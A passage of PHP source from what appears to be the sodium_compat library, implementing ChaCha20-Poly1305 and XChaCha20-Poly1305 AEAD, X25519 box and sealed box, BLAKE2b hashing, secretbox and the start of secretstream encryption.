        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;

        /** @var string The first block of the chacha20 keystream, used as
a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $len - self::aead_chacha20poly1305_IETF_ABYTES,
            self::aead_chacha20poly1305_IETF_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr(
            $message,
            0,
            $len - self::aead_chacha20poly1305_IETF_ABYTES
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen)
& 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", (0x10 - $clen) &
0xf));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return
the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as
a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen)
& 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", ((0x10 - $len) &
0xf)));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_decrypt($message, $ad,
$nonceLast, $subkey);
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_encrypt($message, $ad,
$nonceLast, $subkey);
    }

    /**
     * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws TypeError
     */
    public static function auth($message, $key)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            hash_hmac('sha512', $message, $key, true),
            0,
            32
        );
    }

    /**
     * HMAC-SHA-512-256 validation. Constant-time via hash_equals().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Core_Util::hashEquals(
            $mac,
            self::auth($message, $key)
        );
    }

    /**
     * X25519 key exchange followed by XSalsa20Poly1305 symmetric
encryption
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($plaintext, $nonce, $keypair)
    {
        $c = self::secretbox(
            $plaintext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
        return $c;
    }

    /**
     * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($message, $publicKey)
    {
        /** @var string $ephemeralKeypair */
        $ephemeralKeypair = self::box_keypair();

        /** @var string $ephemeralSK */
        $ephemeralSK = self::box_secretkey($ephemeralKeypair);

        /** @var string $ephemeralPK */
        $ephemeralPK = self::box_publickey($ephemeralKeypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair - The combined keypair used in
crypto_box() */
        $keypair =
self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);

        /** @var string $ciphertext Ciphertext + MAC from crypto_box */
        $ciphertext = self::box($message, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
            ParagonIE_Sodium_Compat::memzero($ephemeralSK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $ephemeralKeypair = null;
            $ephemeralSK = null;
            $nonce = null;
        }
        return $ephemeralPK . $ciphertext;
    }

    /**
     * Opens a message encrypted via box_seal().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($message, $keypair)
    {
        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32);

        /** @var string $ciphertext (ciphertext + MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32);

        /** @var string $secretKey */
        $secretKey = self::box_secretkey($keypair);

        /** @var string $publicKey */
        $publicKey = self::box_publickey($keypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair */
        $keypair =
self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);

        /** @var string $m */
        $m = self::box_open($ciphertext, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($secretKey);
            ParagonIE_Sodium_Compat::memzero($ephemeralPK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $secretKey = null;
            $ephemeralPK = null;
            $nonce = null;
        }
        return $m;
    }

    /**
     * Used by crypto_box() to get the crypto_secretbox() key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_beforenm($sk, $pk)
    {
        return ParagonIE_Sodium_Core_HSalsa20::hsalsa20(
            str_repeat("\x00", 16),
            self::scalarmult($sk, $pk)
        );
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @return string
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_keypair()
    {
        $sKey = random_bytes(32);
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seed_keypair($seed)
    {
        $sKey = ParagonIE_Sodium_Core_Util::substr(
            hash('sha512', $seed, true),
            0,
            32
        );
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     * @throws TypeError
     */
    public static function box_keypair_from_secretkey_and_publickey($sKey,
$pKey)
    {
        return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) .
            ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_secretkey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) {
            throw new RangeException(
                'Must be
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_publickey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new RangeException(
                'Must be
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_publickey_from_secretkey($sKey)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($sKey) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new RangeException(
                'Must be
ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
            );
        }
        return self::scalarmult_base($sKey);
    }

    /**
     * Decrypt a message encrypted with box().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($ciphertext, $nonce, $keypair)
    {
        return self::secretbox_open(
            $ciphertext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * Calculate a BLAKE2b hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string|null $key
     * @param int $outlen
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash($message, $key = '',
$outlen = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is
initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            /** @var SplFixedArray $k */
            $k =
ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() >
ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $in */
        $in =
ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen);
        ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count());

        /** @var SplFixedArray $out */
        $out = new SplFixedArray($outlen);
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Finalize a BLAKE2b hashing context, returning the hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param int $outlen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_final($ctx, $outlen = 32)
    {
        if (!is_string($ctx)) {
            throw new TypeError('Context must be a string');
        }
        $out = new SplFixedArray($outlen);

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $out */
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init($key = '',
$outputLength = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is
initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k =
ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() >
ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @param string $salt
     * @param string $personal
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init_salt_personal(
        $key = '',
        $outputLength = 32,
        $salt = '',
        $personal = ''
    ) {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is
initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k =
ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() >
ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }
        if (!empty($salt)) {
            $s =
ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt);
        } else {
            $s = null;
        }
        if (!empty($salt)) {
            $p =
ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal);
        } else {
            $p = null;
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s,
$p);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Update a hashing context for BLAKE2b with $message
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param string $message
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_update($ctx, $message)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is
initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $in */
        $in =
ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        ParagonIE_Sodium_Core_BLAKE2b::update($context, $in,
$in->count());

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context);
    }

    /**
     * Libsodium's crypto_kx().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $my_sk
     * @param string $their_pk
     * @param string $client_pk
     * @param string $server_pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keyExchange($my_sk, $their_pk, $client_pk,
$server_pk)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash(
            ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) .
            $client_pk .
            $server_pk
        );
    }

    /**
     * ECDH over Curve25519
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult($sKey, $pKey)
    {
        $q =
ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey,
$pKey);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * ECDH over Curve25519, using the basepoint.
     * Used to get a secret key from a public key.
     *
     * @param string $secret
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult_base($secret)
    {
        $q =
ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * This throws an Error if a zero public key was passed to the
function.
     *
     * @param string $q
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function scalarmult_throw_if_zero($q)
    {
        $d = 0;
        for ($i = 0; $i <
self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]);
        }

        /* branch-free variant of === 0 */
        if (-(1 & (($d - 1) >> 8))) {
            throw new SodiumException('Zero public key is not
allowed');
        }
    }

    /**
     * XSalsa20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0,
$mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                $subkey
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );
        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0,
self::secretbox_xsalsa20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0,
self::secretbox_xsalsa20poly1305_ZEROBYTES)
        );
        if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt
the rest.
            $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                (string) $subkey
            );
        }
        return $m;
    }

    /**
     * XChaCha20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305($plaintext, $nonce,
$key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0,
$mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $block0,
            $nonceLast,
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xchacha20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                $nonceLast,
                $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305_open($ciphertext,
$nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );

        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0,
self::secretbox_xchacha20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0,
self::secretbox_xchacha20poly1305_ZEROBYTES)
        );

        if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt
the rest.
            $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                (string) $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        return $m;
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_init_push($key)
    {
        # randombytes_buf(out,
crypto_secretstream_xchacha20poly1305_HEADERBYTES);
        $out = random_bytes(24);

        # crypto_core_hchacha20(state->k, out, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20($out, $key);
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($out, 16, 8) .
str_repeat("\0", 4)
        );

        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $state->counterReset();

        # memcpy(STATE_INONCE(state), out +
crypto_core_hchacha20_INPUTBYTES,
        #        crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        return array(
            $state->toString(),
            $out
        );
    }

    /**
     * @param string $key
     * @param string $header
     * @return string Returns a state.
     * @throws Exception
     */
    public static function secretstream_xchacha20poly1305_init_pull($key,
$header)
    {
        # crypto_core_hchacha20(state->k, in, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($header, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($header, 16)
        );
        $state->counterReset();
        # memcpy(STATE_INONCE(state), in +
crypto_core_hchacha20_INPUTBYTES,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        # return 0;
        return $state->toString();
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_push(&$state,
$msg, $aad = '', $tag = 0)
    {
